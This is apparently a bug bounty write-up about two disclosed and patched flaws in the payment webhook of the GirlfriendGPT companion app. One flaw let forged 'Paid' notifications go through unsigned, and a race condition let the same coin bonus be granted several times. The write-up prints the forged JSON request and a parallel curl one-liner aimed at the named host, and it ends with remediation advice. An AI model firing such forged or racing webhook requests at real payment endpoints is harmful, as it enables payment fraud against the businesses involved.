September 4, 2026
How I Got Free “Elite” Subscriptions and 14,000+ Coins on GirlfriendGPT — For $0 — Then Got Paid…
There’s a specific kind of joy in finding a bug so simple it feels like the developers forgot the internet is full of people who read API…

By Kenjisubagja
3 min read
There's a specific kind of joy in finding a bug so simple it feels like the developers forgot the internet is full of people who read API responses. This is one of those stories.
While testing api.gptgirlfriend.online, the backend for GirlfriendGPT — an AI companion platform operated by NextDai — I found two critical vulnerabilities chained together in the payment flow — one that let me activate any paid subscription tier (Premium, Deluxe, Elite) without paying a cent, and a second that let me multiply my coin balance by simply sending the same request more than once, at the same time.
Combined, the total cost to exploit both bugs was $0. The total payout for reporting them was $850.
Here's how it worked, how it was found, and how it got fixed.
The Target
GirlfriendGPT monetizes through tiered monthly subscriptions ($15 Premium, $35 Deluxe, $50 Elite), each unlocking coins, message quotas, NSFW content, and premium AI models. Payments are processed through TrustPay, a European payment gateway, via a webhook endpoint:
POST https://api.gptgirlfriend.online/api/webhook/tpPOST https://api.gptgirlfriend.online/api/webhook/tpThis single endpoint is the entire trust boundary between "user paid" and "user gets premium access." Which made it the obvious place to start poking.
Bug #1: The Webhook Trusted Everyone
When a user starts checkout, the backend creates a pending subscription and hands back a TrustPay gateway URL:
POST /api/v2/subscription
Authorization: Bearer <jwt>
{"priceId": "gg-usd-1m-paid_elite-50.00", "provider": "MANUAL"}POST /api/v2/subscription
Authorization: Bearer <jwt>
{"priceId": "gg-usd-1m-paid_elite-50.00", "provider": "MANUAL"}Following that URL revealed something interesting sitting in plain sight in the query string — a Reference parameter identifying my pending subscription (SUB|manu-78f9d30b663e48), plus the exact webhook URL TrustPay would call back with the payment result.
So instead of paying, I just… called it myself.
POST /api/webhook/tp
Content-Type: application/json
{
"PaymentInformation": {
"Status": "Paid",
"References": {
"MerchantReference": "SUB|manu-78f9d30b663e48",
"PaymentRequestReference": "6222069299",
"TransactionId": "TXN_FORGED_001"
},
"CardTransaction": {
"Card": { "Number": "4111XXXXXXXX1111", "ExpiryMonth": "12", "ExpiryYear": "2028" }
},
"Amount": { "Amount": 50.00, "Currency": "USD" }
}
}POST /api/webhook/tp
Content-Type: application/json
{
"PaymentInformation": {
"Status": "Paid",
"References": {
"MerchantReference": "SUB|manu-78f9d30b663e48",
"PaymentRequestReference": "6222069299",
"TransactionId": "TXN_FORGED_001"
},
"CardTransaction": {
"Card": { "Number": "4111XXXXXXXX1111", "ExpiryMonth": "12", "ExpiryYear": "2028" }
},
"Amount": { "Amount": 50.00, "Currency": "USD" }
}
}No auth header. No signature. No IP check. Just a JSON body claiming "Status": "Paid".
The response:
{"success": true, "message": "Notification received successfully, Thanks!"}{"success": true, "message": "Notification received successfully, Thanks!"}A follow-up call to /api/auth/me confirmed it — full Elite access, 830 coins, 5,000 monthly messages, NSFW unlocked, premium models unlocked. Zero dollars spent.
Root cause: the endpoint never verified TrustPay's HMAC-SHA256 signature, never checked the caller's IP against TrustPay's published notification ranges, and never independently confirmed the payment server-side. It simply believed whatever JSON hit the endpoint.
Bug #2: Ask Twice, Get Paid Twice
While digging further, I noticed the coin grant logic looked like a textbook race condition:
1. Read subscription → check status == PENDING
2. Read current coin balance
3. balance += tier_bonus
4. Write new balance
5. Set subscription status = ACTIVE1. Read subscription → check status == PENDING
2. Read current coin balance
3. balance += tier_bonus
4. Write new balance
5. Set subscription status = ACTIVENothing here was atomic. No row lock, no idempotency key, no compare-and-swap. So what happens if five identical "payment succeeded" notifications for the same subscription arrive within the same 100–500ms window, before step 5 flips the status?
I tested it with five parallel forged webhooks fired at once against a single pending Elite upgrade:
for i in $(seq 1 5); do echo $i; done | xargs -P 5 -I {} curl -s -X POST \
"https://api.gptgirlfriend.online/api/webhook/tp" \
-H "Content-Type: application/json" \
-d '{ "PaymentInformation": { "Status": "Paid", "References": { "MerchantReference": "SUB|manu-c25d7b20848945" }, "Amount": { "Amount": 50.00, "Currency": "USD" } } }'for i in $(seq 1 5); do echo $i; done | xargs -P 5 -I {} curl -s -X POST \
"https://api.gptgirlfriend.online/api/webhook/tp" \
-H "Content-Type: application/json" \
-d '{ "PaymentInformation": { "Status": "Paid", "References": { "MerchantReference": "SUB|manu-c25d7b20848945" }, "Amount": { "Amount": 50.00, "Currency": "USD" } } }'All five requests returned success: true. My coin balance, which should have gone from 6,430 to 8,030 (one +1,600 Elite bonus), instead jumped to 14,430 — five separate bonuses stacked on top of each other, because every parallel request read the same "not yet activated" state before any of them finished writing.
Scaled up: 100 parallel requests on an Annual Elite plan (+2,600/webhook) would have generated +260,000 coins in a single burst. Free, repeatable, and — since coins persist even after cancellation — permanent.
Why This Mattered
Stacked together, these two bugs meant:
BeforeAfter exploiting both bugsCost — $0Subscription tierFreeEliteCoins3014,430+Monthly messages050,000NSFW / premium modelsLockedUnlocked
This isn't a cosmetic bug. It's a direct hole in the platform's entire monetization model — repeatable indefinitely, requiring only a free account and a terminal.
Disclosure & Fix
I reported both issues privately to the NextDai team with full reproduction steps, impact analysis, and CVSS 4.0 scoring (9.3 — Critical — for both). They confirmed, patched, and paid out a $850 bounty. This writeup is published with their permission, after the fixes were verified live.
The fix, for anyone curious, covered the standard remediation checklist for webhook trust boundaries:
- Verify the payment provider's signature on every webhook (TrustPay signs notifications with HMAC-SHA256 — this was never checked).
- IP-allowlist the webhook endpoint to TrustPay's published notification ranges.
- Independently re-verify payment status server-side against TrustPay's API before granting anything, instead of trusting the webhook body.
- Make coin grants atomic and idempotent — a locked transaction or a
WHERE status = 'PENDING'guard on the update, plus a dedupe key per transaction reference, so replaying or racing the same notification can't grant value twice. - Rate-limit the webhook endpoint.
Takeaways for Builders
If your app's revenue model hinges on a webhook, that webhook is your trust boundary — treat it with the same suspicion as a login form, not as an internal implementation detail. A few questions worth asking about any payment webhook you own:
- Could someone call this endpoint directly, without going through the payment provider?
- If they could, would you know?
- If two identical "success" events arrived at the same millisecond, would your database let both of them win?
Most payment fraud in webhook handlers doesn't come from breaking cryptography — it comes from someone simply reading the response and asking, "what if I just… send this myself?"
If you run a platform with a payment webhook and want it tested before someone less friendly finds it first, get in touch.